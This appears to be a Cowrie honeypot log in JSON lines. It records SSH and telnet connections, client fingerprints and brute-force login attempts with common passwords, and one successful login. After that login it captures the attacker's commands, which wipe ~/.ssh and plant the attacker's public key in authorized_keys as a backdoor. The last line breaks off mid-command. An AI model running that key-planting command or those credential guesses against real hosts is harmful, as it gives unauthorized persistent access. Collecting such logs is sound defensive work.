{"eventid":"cowrie.session.connect","src_ip":"82.86.104.115","src_port":44414,"dst_ip":"10.17.0.5","dst_port":23,"session":"43f0c4d23002","protocol":"telnet","message":"New connection: 82.86.104.115:44414 (10.17.0.5:23) [session: 43f0c4d23002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:50.794247Z"}
{"eventid":"cowrie.session.closed","duration":13.22987985610962,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:04.024007Z","src_ip":"82.86.104.115","session":"43f0c4d23002","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":10992,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ea198921910","protocol":"ssh","message":"New connection: 152.32.213.101:10992 (159.203.135.109:22) [session: 5ea198921910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:04.271997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:04.279998Z","src_ip":"152.32.213.101","session":"5ea198921910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:04.502114Z","src_ip":"152.32.213.101","session":"5ea198921910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456abcABC","message":"login attempt [root/123456abcABC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:05.379277Z","src_ip":"152.32.213.101","session":"5ea198921910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:06.600577Z","src_ip":"152.32.213.101","session":"5ea198921910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60762,"dst_ip":"159.203.135.109","dst_port":22,"session":"be6904c304e3","protocol":"ssh","message":"New connection: 159.203.92.129:60762 (159.203.135.109:22) [session: be6904c304e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:23.520876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:23.526313Z","src_ip":"159.203.92.129","session":"be6904c304e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:23.531142Z","src_ip":"159.203.92.129","session":"be6904c304e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"algotran","password":"123456","message":"login attempt [algotran/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:23.543482Z","src_ip":"159.203.92.129","session":"be6904c304e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":34752,"dst_ip":"10.17.0.5","dst_port":22,"session":"93bc8d4fda4b","protocol":"ssh","message":"New connection: 112.217.199.222:34752 (10.17.0.5:22) [session: 93bc8d4fda4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:24.321324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:24.328570Z","src_ip":"112.217.199.222","session":"93bc8d4fda4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:24.532545Z","src_ip":"112.217.199.222","session":"93bc8d4fda4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:24.550285Z","src_ip":"159.203.92.129","session":"be6904c304e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"Aa@123456","message":"login attempt [ali/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:25.389676Z","src_ip":"112.217.199.222","session":"93bc8d4fda4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:26.596557Z","src_ip":"112.217.199.222","session":"93bc8d4fda4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":58704,"dst_ip":"10.17.0.5","dst_port":22,"session":"3464520e5a57","protocol":"ssh","message":"New connection: 171.244.143.209:58704 (10.17.0.5:22) [session: 3464520e5a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:39.891176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:39.895901Z","src_ip":"171.244.143.209","session":"3464520e5a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:40.151505Z","src_ip":"171.244.143.209","session":"3464520e5a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"developer@123","message":"login attempt [root/developer@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:41.225349Z","src_ip":"171.244.143.209","session":"3464520e5a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:57:42.476722Z","src_ip":"171.244.143.209","session":"3464520e5a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":28814,"dst_ip":"159.203.135.109","dst_port":22,"session":"376757f32b11","protocol":"ssh","message":"New connection: 152.32.213.101:28814 (159.203.135.109:22) [session: 376757f32b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:03.332960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:03.342484Z","src_ip":"152.32.213.101","session":"376757f32b11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:03.552613Z","src_ip":"152.32.213.101","session":"376757f32b11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc654321","message":"login attempt [root/abc654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:04.423805Z","src_ip":"152.32.213.101","session":"376757f32b11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:05.649306Z","src_ip":"152.32.213.101","session":"376757f32b11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56198,"dst_ip":"159.203.135.109","dst_port":22,"session":"d00b2d99a982","protocol":"ssh","message":"New connection: 159.203.92.129:56198 (159.203.135.109:22) [session: d00b2d99a982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:06.070273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:06.075344Z","src_ip":"159.203.92.129","session":"d00b2d99a982","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:06.081354Z","src_ip":"159.203.92.129","session":"d00b2d99a982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"algotran","password":"algotran","message":"login attempt [algotran/algotran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:06.096950Z","src_ip":"159.203.92.129","session":"d00b2d99a982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:07.103292Z","src_ip":"159.203.92.129","session":"d00b2d99a982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":52342,"dst_ip":"10.17.0.5","dst_port":22,"session":"34251ed237f4","protocol":"ssh","message":"New connection: 112.217.199.222:52342 (10.17.0.5:22) [session: 34251ed237f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:24.074884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:24.078846Z","src_ip":"112.217.199.222","session":"34251ed237f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:24.284103Z","src_ip":"112.217.199.222","session":"34251ed237f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"admin@123","message":"login attempt [oracle/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:25.144311Z","src_ip":"112.217.199.222","session":"34251ed237f4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:25.616235Z","src_ip":"112.217.199.222","session":"34251ed237f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:25.619495Z","src_ip":"112.217.199.222","session":"34251ed237f4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:25.623316Z","src_ip":"112.217.199.222","session":"34251ed237f4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:25.832942Z","src_ip":"112.217.199.222","session":"34251ed237f4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:26.284871Z","src_ip":"112.217.199.222","session":"34251ed237f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 